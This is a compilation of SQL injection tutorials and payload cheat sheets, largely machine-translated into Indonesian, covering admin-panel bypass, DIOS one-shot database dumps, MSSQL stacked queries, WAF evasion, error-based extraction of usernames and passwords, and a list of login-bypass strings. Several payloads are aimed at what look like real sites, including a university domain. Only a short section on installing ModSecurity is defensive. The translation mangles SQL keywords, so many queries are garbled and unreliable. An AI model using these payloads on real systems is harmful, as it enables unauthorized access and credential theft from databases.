2342Ini Rawan terhadap SQL Injection. Selanjutnya kita akan mengeksekusi Query SQL Berbasis STRING untuk Penyuntikan Lebih Lanjut.
2343Sekarang Mari Hitung berapa Banyak Kolom yang ada.
2344Jadi Kami akan Berikan Perintah Kami Untuk menghitung Kolom di Parameter Pasca dengan Hackbar.
2345order uname = harharharhar sebesar 2% 23
2346No Error !!
2347
2348uname = 'pesanan sebesar 3% 23
2349No Error !!
2350
2351order uname = harhar 'sebesar 4% 23
2352No Error !!
2353
2354uname = 'pesanan sebesar 5% 23
2355
2356Kami Punya Kesalahan !! Kolom tidak dikenal '5' di 'klausa pesanan'
2357Berarti Ada 4 Jumlah Kolom Total.
2358Hmmm Sekarang Mari Jalankan perintah UNION SELECT kami dengan 4 jumlah Kolom.
2359
2360BinGOOOO !! Panel Admin Dilewati. Kita sudah mendapat Akses ke Panel Admin Tanpa menggunakan Nama Pengguna atau Kata Sandi dari pengguna Admin.
2361
2362-h
2363Playing with DIOS #1
2364
2365task & rules
2366¤display version with your name
2367¤display count how many column names start with characters id_
2368¤display list of columns (with their database and table name) where column names start with characters id_
2369
2370Solution:
2371
2372http:p//vuln.net/produit.ph p?id=55 and 0 UNION%0aSELECT 1,2,3,concat(0x3c2f7469746c653e,version(),0x203a3a2050682e683472683472,0x3c42523e,0x6e756d626572206f6620636f6c756d6e73207374617274696e6720776974682069645f2069733a20,count(*),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and((column_name)like(0x69645f25))and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name))))x),0x3c7469746c653e),5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23 from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f73 6368656d61)and(column_name)like(0x69645f25)--
2373
2374©MasterAjkaro
2375-h
2376
2377Playing with DIOS #2
2378
2379Task & rules
2380¤display version with your name
2381¤display total number of databases
2382¤display total number of tables (without those in information_schema)
2383¤display all table names (excluding those from information_schema) and columns count for each table
2384
2385solution......
2386
2387http://www.vuln.fr/pages /produit.php?id=55 and 0 UNION SELECT 1,2,3,4,5,6,7,8,9,concat(0x3c62723e,version(),0x3a3a2050682e683472683472,0x3c62723e746f74616c206e756d626572206f66206461746162617365733a20,(select count(*) %0Afrom information_schema.schemata),
23880x3c62723e746f74616c206e756d626572206f66207461626c657320696e206461746162617365732028776974686f757420696e666f726d6174696f6e5f736368656d61293a20,(select count(*) %0afrom information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61),
2389(select(@x)%0afrom(select(@x:=0x00),(select(0)%0afrom(information_schema.tables)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in
2390(@x:=concat(@x,0x3c62723e,0x7461626c653a20,@tbl:=table_name,
23910x202d2d3e20636f6c756d6e733a20,(select(count(*))%0Afrom(information_schema.columns)where(table_name=@tbl))x)
2392),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46-- -
2393
2394©Master Akjkaro
2395~h
2396
2397Playing with DIOS #3
2398
2399Task & rules
2400¤display version with your name
2401¤display all tables in primary database with records count for each table
2402
2403solution....
2404
2405http://www.vuln.com /product.php?c=11) and 0 UNION SELECT 1,concat
2406(version(),0x50682e683472683472,(select (@x) from (select (@x:=0x00),(select(0)from(information_schema.tables)where(table_schema=database()) and (0x00) in
2407(@x:=concat(@x,0x3c62723e,@tbl:=table_name,0x202d2d3e207265636f72647320696e207461626c653a20,(select table_rows from information_schema.tables where table_schema=Database() and table_name=@tbl))x)),3,4,5,6,7,8
2408
2409©Master Ajkaro
2410-h
2411
2412MSSQL DIOS
2413
2414¤1¤
2415==========================
2416http://www.aiou.edu.pk/Programmes.asp?PID=74;begin declare @x varchar(8000),@y int,@z varchar(50),@a varchar(100) declare @myTbl table (name varchar(8000) not null)SET @y=1 SET @x='injected by Me :: '%2b@@version%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Database : '%2bdb_name()%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62) SET @z='' SET @a='' WHILE @y<=(SELECT COUNT(table_name) from INFORMATION_SCHEMA.TABLES) begin SET @a='' Select @z=table_name from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in (select name from @myTbl)select @a=@a %2b column_name%2b' : '
2417from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=@z insert @myTbl values(@z) SET @x=@x %2bCHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%
24182b'Table: '%2b@z%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)%2b'Columns : '%2b@a%2b CHAR(60)%2bCHAR(98)%2bCHAR(114)%2bCHAR(62)SET @y = @y%2b1 end select @x as output into diosku END--
2419
2420¤2¤
2421==========================
2422http://www.aiou.edu.pk/Programmes.asp?PID=74%20and%200%3D1%20UNION%20SELECT%2b1%2Coutput%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%20from%20diosku--
2423
2424¤3¤
2425==========================
2426http://www.aiou.edu.pk/Programmes.asp?PID=74;DROP TABLE diosku--
2427
2428==========================
2429©securityidiots
2430-rkx
2431
2432The Error Connection Was Reset
2433
2434Query :
2435
2436id=.1union-- a%0Aselect
2437id=1-.1union- a%0Aselect
2438id=1'e0union- a%0Aselect
2439id=\Nunion- a%0Aselect
2440id=1 *9e0union-- -%0aselect
2441
2442Please Like and Share our Page :*
2443
2444-h
2445
2446Hari ini saya akan menunjukkan kepada Anda cara mem-bypass Web Application Firewalls (WAF). Saya akan mendemonstrasikan dari Teknik-Teknik Dasar dan Paling Sederhana ke yang Paling Mahir!
2447
2448CATATAN: Jika Anda tidak tahu SQL Injection, baca ini dulu ...
2449
2450Apa itu WAF?
2451
2452WAF adalah singkatan dari Firewall Aplikasi Web. Hal ini banyak digunakan saat ini untuk mendeteksi dan mempertahankan Suntikan SQL!
2453
2454Mari kita mulai!
2455
2456Bagaimana cara mengetahui apakah Firewall Aplikasi Web?
2457
2458Ini sangat sederhana! Ketika Anda mencoba memasukkan perintah yang digunakan untuk SQL Injections (biasanya perintah "UNION SELECT"), Anda mendapatkan 403 Error (dan situs web mengatakan "Forbidden" atau "Tidak Dapat Diterima").
2459Contoh:
2460
2461http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4….
2462(Kami mendapatkan kesalahan 403!)
2463Metode Dasar / Sederhana:
2464
2465Pertama, tentu saja, kita perlu mengetahui Metode Dasar untuk mem-bypass WAF…
2466
24671) Komentar:
2468Anda dapat menggunakan komentar untuk mem-bypass WAF:
2469
2470http://www.site.com/index.php?page_id=-15 / *! UNION * / / *! SELECT * / 1,2,3,4….
2471(Metode Pertama yang Dapat Menembus WAF)
2472
2473Namun, sebagian besar WAF mengidentifikasi metode ini sehingga mereka masih menunjukkan "Forbidden" Error…
2474
24752) Ubah Kasus Huruf:
2476Anda juga dapat mengubah Kasus Perintah:
2477
2478http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
2479(Metode Dasar Lain untuk Menghindari WAF!)
2480
2481Namun, seperti sebelumnya, trik ini juga terdeteksi oleh kebanyakan WAF!
2482
24833) Gabungkan Metode sebelumnya:
2484Yang dapat Anda lakukan adalah menggabungkan dua metode sebelumnya:
2485
2486http://www.site.com/index.php?page_id=-15 / *! uNIOn * / / *! SelECt * / 1,2,3,4….
2487
2488Metode ini tidak dapat dideteksi oleh banyak Firewall Aplikasi Web!
24894) Kata Kunci yang Diganti:
2490Beberapa Firewall menghapus Pernyataan "UNION SELECT" ketika ditemukan di URL ... Kita dapat melakukan ini untuk mengeksploitasi fungsi ini:
2491
2492http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
2493(The "union" dan "select" akan dihapus, jadi hasil akhirnya adalah: "UNION SELECT")
2494
2495Metode ini tidak berfungsi di SEMUA Firewall, karena hanya sebagian dari mereka yang menghapus perintah "UNION" dan "SELECT" saat terdeteksi!
24965) Komentar Sejajar:
2497Beberapa firewall dilewati dengan Memasukkan Inline Komentar antara "Union" dan "Pilih" Perintah:
2498
2499http://www.site.com/index.php?page_id=-15% 55nION / ** /% 53ElecT 1,2,3,4…
2500(The% 55 sama dengan "U" dan% 53 sampai "S". Lihat lebih lanjut di Bagian Lanjutan ....)
2501
2502Saya percaya bahwa ini adalah metode paling dasar untuk WAF Bypassing! Mari kita lanjutkan dengan yang lebih maju ...
2503Metode Lanjutan:
2504
2505Sekarang Anda telah belajar tentang Basic WAF Bypassing, saya pikir itu baik untuk memahami Metode yang lebih maju!
2506
25071) Buffer Overflow / Firewall Crash:
2508Banyak Firewall dikembangkan dalam C / C ++ dan kita dapat Crash mereka menggunakan Buffer Overflow!
2509
2510http://www.site.com/index.php?page_id=-15+and+(select 1) = (Pilih 0xAA [.. (tambahkan sekitar 1000 "A") ..]) + / *! uNIOn * / + / *! SeLECt * / + 1,2,3,4….
2511
2512((Anda dapat menguji apakah WAF dapat dihancurkan dengan mengetik:
2513? page_id = null% 0A / ** // *! 50000% 55nIOn * // * yoyu * / all / ** /% 0A / *!% 53eLEct * /% 0A / * nnaa * / + 1,2,3 , 4….
2514
2515Jika Anda mendapatkan 500, Anda dapat memanfaatkannya menggunakan Metode Buffer Overflow! ))
2516
25172) Ganti Karakter dengan Nilai HEX mereka:
2518Kita dapat mengganti beberapa karakter dengan Nilai HEX (URL-Encoded) mereka.
2519Contoh:
2520
2521http://www.site.com/index.php?page_id=-15 / *! u% 6eion * / / *! se% 6cect * / 1,2,3,4….
2522(yang berarti "memilih serikat")
2523
2524Teks ke Hex Encoder (Pilih hasil “Hex Encoded for URLâ€!): Http://www.swingnote.com/tools/texttohex.php
2525
25263) Gunakan Variabel atau Perintah lain, bukan yang umum untuk SQLi:
2527Terlepas dari "UNION SELECT", perintah lain mungkin diblokir.
2528Perintah Umum Diblokir:
2529COMMAND | APA YANG HARUS DIGUNAKAN BUKAN
2530@@ versi | versi()
2531concat () | concat_ws () -> Perbedaan antara concat () dan concat_ws (): http://is.gd/VEeiDU
2532group_concat () | concat_ws ()
2533
2534Belajar MySQL Sangat membantu dalam masalah seperti itu!
2535
25364) Misc Exploitable Functions:
2537Banyak firewall mencoba menawarkan lebih banyak Perlindungan dengan menambahkan Fungsi Prototipe atau Aneh! (Yang, tentu saja, bisa kita manfaatkan!):
2538Contoh:
2539
2540Firewall ini di bawah menggantikan "*" (tanda bintang) dengan Whitespaces! Apa yang bisa kita lakukan adalah ini:
2541
2542http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
2543
2544(Jika Firewall menghapus "*", hasilnya akan menjadi: 15 + union + pilih ....)
2545Jadi, jika Anda menemukan fungsi konyol seperti itu, Anda dapat memanfaatkannya, dengan cara ini!
2546
2547[+] Selain contoh sebelumnya, beberapa jalan pintas lain mungkin:
2548
2549-15+ (uNioN) + (sElECt)….
2550
2551-15+ (uNioN + SeleCT) + ...
2552
2553-15+ (UnI) (oN) + (SeL) (ecT) +….
2554
2555-15 + union (pilih 1,2,3,4…)
2556
2557-h
2558
2559
2560Error Based IS Double Query
2561Error Based = Double Query (Error based 2x)
2562
2563Bagaimana Anda tahu Anda harus menggunakan Error
2564Berdasarkan / Double Query? (Penting!)
2565Ini adalah bagian terpenting dari peretasan web; itu
2566jenis injeksi untuk digunakan dalam situasi yang berbeda.
2567Anda dapat menggunakan Injeksi Informasi Berbasis Kesalahan / Ganda
2568dalam kesalahan berikut yang Anda dapatkan
2569Kode:
2570Sebuah. Pernyataan Pilih Terpilih
2571Memiliki Jumlah Kolom yang Berbeda.
2572b. Kolom Tidak Diketahui 1 atau tidak ada kolom di
2573semua (di halaman web dan sumber halaman)
2574c.Error # 1604
2575Sekarang perhatikan kesalahan-kesalahan itu. Anda akan membutuhkannya.
2576versi:
2577Pendekatan pertama adalah mengetahui versi dari
2578database
2579Untuk melakukan itu kami memasukkan permintaan ini setelah akhir
2580URL
2581www.ddaarchitects.co.uk/click.php?bannerID=%27and(select+min(0)+from+(select+1+a+union+se%C2%ADlect+2)b,(select+1+union + pilih + 2) c + grup + oleh + concat ((pilih + mid (concat (table_nam% C2% ADe, 0x3a, group_concat (column_name)), 1,110) dari + information_schema.columns + di mana + ta% C2% ADble_schema = database () + dan + table_name% 3E '% C2% ADappuser'), masukkan (0x0, a, a, now ()))) - +
2582
2583Kode:
2584www.exmple.com/show?id=4 atau 1 grup oleh concat_ws (0x3a, versi (), floor (rand (0) * 2)) memiliki min (0) atau 1--
2585DATABASE GETTING
2586Langkah kedua: Mendapatkan nama database
2587Untuk mendapatkan basis data, kami memasukkan kueri ini
2588Kode:
2589dan (pilih 1 dari (pilih hitungan
2590(*), concat ((pilih)
2591(cast (database () sebagai char), 0x7e))
2592dari information_schema.tables di mana
2593table_schema = database () limit
25940,1), lantai (rand (0) * 2)) x dari
2595grup information_schema.tables oleh
2596x) a)
2597Perhatikan fungsi batas dalam kueri
2598Sebuah situs web dapat memiliki lebih dari 2 dua basis data, jadi
2599tingkatkan batas hingga Anda menemukan semua nama basis data
2600Contoh: membatasi 0,1 atau membatasi 1,1 atau membatasi 2,1
2601
2602Langkah Ketiga: Mendapatkan NAMA TABEL
2603
2604Nama tabel adalah apa yang kita butuhkan sekarang
2605Berikut kueri yang dapat kami gunakan:
2606Kode:
2607dan (pilih 1 dari (pilih hitungan
2608(*), concat ((pilih)
2609(cor (table_name sebagai char), 0x7e))
2610dari information_schema.tables di mana
2611table_schema = database () limit
26120,1), lantai (rand (0) * 2)) x dari
2613grup information_schema.tables oleh
2614x) a)
2615Jangan juga melupakan fungsi LIMIT yang kami gunakan di sini
2616untuk mendapatkan nama tabel satu per satu
2617CATATAN:
2618Sekarang inilah bagian pentingnya:
2619Ketika Anda mencari tabel terus bertambah
2620batasi sampai Anda menemukan nama tabel yang berharga
2621Misalnya: LIMIT 0,1
2622LIMIT 1,1
2623BATAS 2,1
2624Terus tingkatkan jumlahnya sampai Anda menemukan meja
2625Anda ingin mengekstrak informasi dari
2626Berikut rumusnya: LIMIT N, 1 di mana N adalah a
2627bilangan bulat acak
2628
2629Langkah Keempat: Mendapatkan Kolom dari spesifik
2630NAMA TABEL
2631
2632Baiklah, sekarang Anda telah memilih meja Anda
2633ingin mengekstrak kolom dari, waktu untuk mengeksekusi
2634pertanyaan lain
2635Jadi inilah cara ekstraksi kueri kolom akan terlihat
2636seperti:
2637Kode:
2638dan (pilih 1 dari (pilih hitungan
2639(*), concat ((pilih)
2640(cast (column_name sebagai char), 0x7e))
2641dari information_schema.columns
2642di mana table_name = batas 0xTABLEHEX
26430,1), lantai (rand (0) * 2)) x dari
2644grup information_schema.tables oleh
2645x) a)
2646Perhatikan LIMIT 0,1 FUNCTION dan 0xTABLEHEX
2647Anda perlu mengonversi tabel spesifik Anda menjadi hex
2648dan tambahkan 0x di awal string sehingga
2649dapat dibaca ke situs web
2650Untuk mengonversi string menjadi heksadesimal: http: //
2651www.swingnote.com/tools/texttohex.php
2652CATATAN:
2653Anda perlu menaikkan batas sampai Anda menemukan
2654kolom berharga seperti userName dan
2655kata sandi.
2656
2657Langkah Kelima: Mengekstrak data dari Kolom
2658
2659Baiklah bagian ini mungkin yang terbaik di SQL
2660menyuntikkan situs.
2661Saatnya untuk mendapatkan info dari kolom yang kita miliki
2662Untuk melakukan itu, gunakan query ini
2663Kode:
2664dan (pilih 1 dari (pilih hitungan
2665(*), concat ((pilih)
2666(dilemparkan (concat
2667(COLUMN_NAME, 0x7e, COLUMN_NAME) sebagai
2668char), 0x7e)) dari
2669Batas Databasename.TABLENAME
26700,1), lantai (rand (0) * 2)) x dari
2671grup information_schema.tables oleh
2672x) a)
2673
2674Atau Anda dapat melakukan (@: = 1) atau @ grup + oleh + concat (versi
2675(), @: =! @) + memiliki + mnt (0)
2676
2677© LUNATIC
2678
2679~ h
2680
2681Comment Name
2682-- : MySQL Linux Style
2683--+ : MySQL Windows Style
2684# : Hash (URL encode while use)
2685--+- : SQL Comment
2686;%00 : Null Byte
2687` : Backtick
2688
2689Variable/Function Output
2690@@hostname : Current Hostname
2691@@tmpdir : Tept Directory
2692@@datadir : Data Directory
2693@@version : Version of DB
2694@@basedir : Base Directory
2695user() : Current User
2696database() : Current Database
2697version() : Version
2698schema() : current Database
2699UUID() : System UUID key
2700current_user() : Current User
2701current_user : Current User
2702system_user() : Current Sustem user
2703session_user() : Session user
2704@@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
2705@@GLOBAL.have_ssl : Check if it have ssl or not
2706
2707integer based ::
2708
2709--
2710-- -
2711--+-
2712)--
2713)-- -
2714)--+-
2715))--
2716))-- -
2717))--+-
2718;%00
2719) ;%00
2720));%00
2721%23
2722%60
2723%90
2724and 1=1
2725and '1'='1
2726and (1)=(1
2727php?id=(1) -- -
2728
2729string based ::
2730
2731'--+-
2732')-- -
2733')--+-
2734'))-- -
2735'))--+-
2736';%00
2737');%00
2738'));%00
2739'%23
2740'%60
2741'%90
2742' and 1=1
2743' and '1'='1
2744' and (1)=(1
2745php?id=(1') -- -
2746
2747string based double quotes ::
2748
2749"-- -
2750"--+-
2751"%23
2752")-- -
2753")--+-
2754"))--+-
2755";%00
2756") ;%00
2757"));%00
2758"%60
2759"%90
2760" and 1=1
2761" and '1'='1
2762" and (1)=(1
2763php?id=(1") -- -
2764
2765©
2766~h
2767
2768ADMIN LOGIN BRUTE FORCE
2769
2770'or 1=1 limit 1 -- -+
2771'or''='
2772' or '1'='1
2773' or 'x'='x
2774' or 0=0 --
2775" or 0=0 --
2776or 0=0 --
2777' or 0=0 #
2778" or 0=0 #
2779or 0=0 #
2780' or 'x'='x
2781" or "x"="x
2782') or ('x'='x
2783' or 1=1--
2784" or 1=1--
2785or 1=1--
2786' or a=a--
2787" or "a"="a
2788') or ('a'='a
2789") or ("a"="a
2790hi" or "a"="a
2791hi" or 1=1 --
2792hi' or 1=1 --
2793'or'1=1'
2794==
2795and 1=1--
2796and 1=1
2797' or 'one'='one--
2798' or 'one'='one
2799' and 'one'='one
2800' and 'one'='one--
28011') and '1'='1--
2802admin' --
2803admin' #
2804admin'/*
2805or 1=1--
2806or 1=1#
2807or 1=1/*
2808) or '1'='1--
2809) or ('1'='1--
2810' or '1'='1
2811' or 'x'='x
2812' or 0=0 --
2813" or 0=0 --
2814or 0=0 --
2815' or 0=0 #
2816" or 0=0 #
2817or 0=0 #
2818' or 'x'='x
2819" or "x"="x
2820') or ('x'='x
2821' or 1=1--
2822" or 1=1--
2823or 1=1--
2824' or a=a--
2825" or "a"="a
2826') or ('a'='a
2827") or ("a"="a
2828hi" or "a"="a
2829hi" or 1=1 --
2830hi' or 1=1 --
2831'or'1=1'
2832
2833~h
2834
2835[~] information_schema.tables [~]
2836
2837/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
2838
2839/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
2840
2841/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
2842
2843/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
2844
2845/*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
2846
2847/*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
2848
2849~h
2850
2851Injeksi Berbasis Kesalahan
2852---------------------
2853Injeksi berbasis kesalahan dikerahkan pada database yang didukung oleh MS-SQL.
2854
2855Database: MY-SQL: PHP
2856MS-SQL: .asp atau .aspx
2857
2858Probelm dengan Injeksi Berbasis Kesalahan untuk Peretas
2859-----------------------------------------------
28601. Versi () dan database () tidak berfungsi !!
2861Solusi: @@ version
2862
28632. Anda tidak dapat memanggil semua tabel dari database yang diberikan melalui information_schema.
2864
28653. Anda tidak dapat mengekstrak kolom dari tabel target Anda dalam satu perjalanan.
2866
2867Mengapa dikenal sebagai Injeksi Berbasis Kesalahan
2868-----------------------------------------
2869Itu berarti Anda akan mendapatkan data dalam kesalahan.
2870
2871Target: vulnweb.com: Ini adalah kerangka kerja praktik dari sebuah perusahaan bernama Acunetix.
2872
2873Ia memiliki semua praktek serangan teknologi MY-SQL dan MS-SQL.
2874
2875Langkah 1: Dapatkan metode GET apa pun di URL situs web. I.e Kita harus mencari SOmethoing = Sesuatu.
2876http://testasp.vulnweb.com/showforum.asp?id=0
2877
2878Langkah 2: Periksa penanganan pengecualian.
2879http://testasp.vulnweb.com/showforum.asp?id=0 '
2880
2881Langkah 3: Periksa kondisi yang diperlukan untuk serangan lebih lanjut.
2882http://testasp.vulnweb.com/showforum.asp?id=0 dan 1 = 0;
2883
2884NOte: Error Based Injection bekerja pada aturan LIFO. Terakhir di First out.
2885
2886Sebagai contoh: Jika kita memiliki database dengan tabel seperti berikut
2887utas -> 1
2888guru-> 2
2889kelas-> 3
2890biaya-> 4
2891pengguna-> 5
2892
2893Langkah 4: http://testasp.vulnweb.com/showforum.asp?id=0 dan
28941 = convert (int, (pilih top 1 table_name dari information_schema.tables));
2895
2896Punya Tabel: 'utas' X
2897http://testasp.vulnweb.com/showforum.asp?id=0 dan
28981 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('thread')));
2899
2900Target: 'pengguna'
2901
2902Langkah 5: Dapatkan kolom masing-masing tabel pengguna
2903http://testasp.vulnweb.com/showforum.asp?id=0 dan
29041 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'users' dan column_name tidak dalam ('uname')));
2905
2906Kolom Target: uname, upass
2907
2908Langkah 6: Dapatkan yang tidak benar dan upass
2909http://testasp.vulnweb.com/showforum.asp?id=0 dan
29101 = mengkonversi (int, (pilih top 1 upass dari pengguna));
2911
2912uname: admin
2913upass: tidak ada
2914
2915
2916
2917Pengantar Firewall Aplikasi Web dan IDS dan IPS
2918
2919www.iamrahultyagi.in officialrahultyagi.in
2920-------------------------------------------------- ----------------
2921Firewall Aplikasi Web: Ketika pemilik situs web menyebarkan perangkat lunak aplikasi yang berisi semua jenis database serangan di dalamnya dan menyaring permintaan yang digunakan oleh vistor, maka kita dapat mengatakan bahwa aplikasi yang digunakan di situs web adalah firewall aplikasi web.
2922
2923Jenis WAF
2924---------------------
29251. Perangkat Lunak WAF: Ini adalah teknologi firewall yang seperti aplikasi perangkat lunak yang dapat diinstal pada server web dan karenanya dapat digunakan untuk mengisi konten yang diminta.
2926
2927Linux: Keamanan Mod: Gratis | Dibayar: .php
2928Windows: Dot Defender: Dibayar:. asp aspx
2929
29302. Hardware WAF: Ini adalah sistem UTM (Unified Threat Management Systems) yaitu berisi Antivirus + Firewall + IDS dan IPS + Web Filteration untuk Konten dll dll.
2931
2932Keamanan Mod: Mod Security datang untuk menggambarkan pada awal tahun 2008 ketika peretas berada di puncak dan merusak situs web di seluruh dunia. Ini adalah era ketika ada banyak firewall berbayar tetapi tidak ada solusi untuk organisasi tingkat menengah.
2933
2934Mod Security datang dan memberikan sedikit harapan kepada pemilik situs web bahwa mereka akan melindungi dari peretas.
2935
2936Masalah
2937--------
29381. Database serangan terbatas.
29392. Sumber terbuka tetapi kekurangan dana.
2940
2941OWASP TOP 10 Serangan yang mereka lakukan terbuka. Panggilan ke Peretas.
2942
2943Cara Memasang Keamanan Mod di Ubuntu
2944--------------------------------------
2945$ sudo apt-get install libapache2-mod-security
2946$ sudo a2enmod mod-security
2947$ sudo /etc/init.d/apache2 paksa-ulang
2948
2949Memahami kerja WAF
2950--------------------------------
2951Setiap WAF bekerja pada dua format utama pertama Daftar Putih dan filterisasi Daftar Hitam.
2952
29531. Daftar Putih: Saat kami menyatakan pemilik hanya harus masuk dari suatu IP statis tertentu serta alamat MAC dan nama pengguna dan kata sandi. Oleh karena itu bahkan kata sandi bocor tidak ada yang dapat login situs web kecuali ia tidak berada di IP dan alamat MAC yang sama.
2954
29552. Black List: Ini adalah cara kedua untuk mengamankan situs web maka ia akan memiliki database dari semua serangan non-sense khususnya string based (order by), (union all select) dll. Dll. Apapun permintaan yang membawa jenis ini string dari VISITOR akan disaring oleh daftar hitam dan sebagai respons akan memblokir jika cocok dengan string apa pun dari daftar.
2956
2957Cara Mengonfigurasi Keamanan Mod Anda di Ubuntu Setelah Instalasi
2958-------------------------------------------------- --------------
2959sudo gedit /etc/apache2/sites-available/000-default.conf
2960Setelah membuka file ini yaitu 000-default.conf kita harus mengubah alamat IP dari server atau nama situs web yang lalu lintasnya yang ingin kita saring dari keamanan mod.
2961
2962Memintas Validasi WAF dan Filterasi
2963------------------------------------------
2964
29651. Metode Upper Lower Case
2966
2967union all pilih: UnIoN aLl SeLeCt
2968http://172.16.191.137/dvwa/vulnerabilities/sqli/?id=1 'UnIoN SeLeCt 1,2 - + & Kirim = Kirim #
2969
2970Komentar sebaris: / * * /
2971
29722. Inline Executable Comments
2973/ *! UnIoN * / + / *! ALl * / + / *! SeLeCt * /
2974
2975Langkah 1: Dapatkan tabel dari database
2976http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! UnIoN * / + / *! aLl * / + / *! SeLeCt * / 1,2 - + & Kirim = Kirim #
2977
2978Tabel Target adalah pengguna
2979
2980Langkah 2: dapatkan kolom
2981http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! UnIoN * / + / *! aLl * / + / *! SeLeCt * / 1, column_name dari information_schema.columns di mana table_name =' pengguna '- + & Kirim = Kirim #
2982
2983Versi Berdasarkan Inline Komentar yang Dapat Dijalankan
2984----------------------------------------
2985/ *! 50000UnIoN * / + / *! 50000aLl * / + / *! 50000SeLeCt * /
2986
2987Langkah 3: http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! 50000UnIoN * / + / *! 50000aLl * / + / *! 50000SeLeCt * / 1, column_name dari information_schema.columns di mana table_name = 'users' - + & Submit = Kirim #
2988
2989NOte: Lakukan hal yang sama dengan semua kata query dan lanjutkan dengan serangan. Jika Anda butuh bantuan, kunjungi www.iamrahultyagi.in atau officialrahultyagi.blogspot.in
2990
2991MYSQL
29925.00.00 -> 50000
29934,00,00 -> 40000
29943,00,00 -> 30000
29952,00,00 -> 20000
29961,00,00 -> 10.000
2997
2998©
2999
3000-rkx
3001
3002Penggunaan Kueri Keamanan Tinggi
3003
30041'order oleh 1 #
30051 'union pilih 1,2 #
30061 'union pilih 1, database () #
3007
3008atau 1 = 1 union pilih null, table_name dari information_schema.tables
3009
3010atau 1 = 1 union pilih null, column_name dari information_schema.columns
3011
3012atau 1 = 1 union memilih pengguna, kata sandi dari pengguna
3013
3014Error Base Penggunaan query ganda
3015Sebuah. Pernyataan Pilih Yang Digunakan Memiliki Jumlah Kolom yang Berbeda.
3016b. Kolom Tidak Diketahui 1 atau tidak ada kolom sama sekali (di halaman web dan sumber halaman)
3017c. Kesalahan # 1604
3018
3019Tampilkan Versi
3020atau 1 grup dengan concat_ws (0x3a, versi (), floor (rand (0) * 2)) memiliki min (0) atau 1
3021
3022Tampilkan Database
3023dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
3024
3025Tampilkan tabel
3026dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (table_name sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand ( 0) * 2)) x dari grup information_schema.tables dengan x) a)
3027
3028Tampilkan kolom
3029dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema.columns di mana table_name = 0xTable limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
3030
3031
3032Buang data dari kolom
3033dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (COLUMN_NAME, 0x7e, COLUMN_NAME) sebagai char), 0x7e)) dari Databasename.TABLENAME limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
3034
3035-------------------------------------------------- ----------
3036-------------------------------------------------- ----------
3037http: // localhost / sqli-labs-master / Less-5 /? id = 1'and (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e) ) dari information_schema.columns di mana table_name = 0x7573657273 dan table_schema = database () limit 2,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - +
3038
3039Mendapatkan
3040
3041http: // localhost / sqli-labs-master / Less-5 /? id = 1'and (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (nama pengguna, 0x7e, kata sandi ) sebagai char), 0x7e)) dari batas security.users 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
3042- +
3043
3044-------------------------------------------------
3045-------------------------------------------------- -
3046
3047Basis Kesalahan
3048dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
3049
3050Error Base Double Query
3051
3052Tampilkan Versi
